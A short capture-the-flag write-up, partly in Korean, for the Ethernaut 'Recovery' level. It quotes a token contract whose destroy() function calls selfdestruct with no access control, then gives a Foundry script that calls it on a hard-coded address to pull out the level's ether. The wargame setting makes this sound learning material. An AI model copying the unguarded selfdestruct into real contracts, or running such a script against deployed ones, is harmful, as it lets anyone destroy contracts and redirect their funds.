A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.001 ether to obtain more tokens. They have since lost the contract address.
This level will be completed if you can recover (or remove) the 0.001 ether from the lost contract address.
컨트랙트 주소 찾아서 0.001 ether 보내기
우뜩하지 하면서 찾아보다가 어쩌다 보니 참고하게 된 블로그
https://blog.dixitaditya.com/ethernaut-level-17-recovery
etherscan.io 에서 파괴된 컨트랙트 주소를 찾을 수 있다
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "../src/fallback.sol";
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
string public name;
mapping(address => uint256) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}
// allow transfers of tokens
function transfer(address _to, uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
contract POC is Script {
function run() external{
vm.startBroadcast(vm.envUint("user_private_key"));
SimpleToken level15 = SimpleToken(payable(address(0x6617CEFB49627aCbbafd54e4607f8ba2F0470367)));
level15.destroy(payable(address(0x41482D3f30FfF21308D6c962E167e4Cc8a65576A)));
vm.stopBroadcast();
}
}
좀 헤맸는데 블로그 참고해서 풀이 완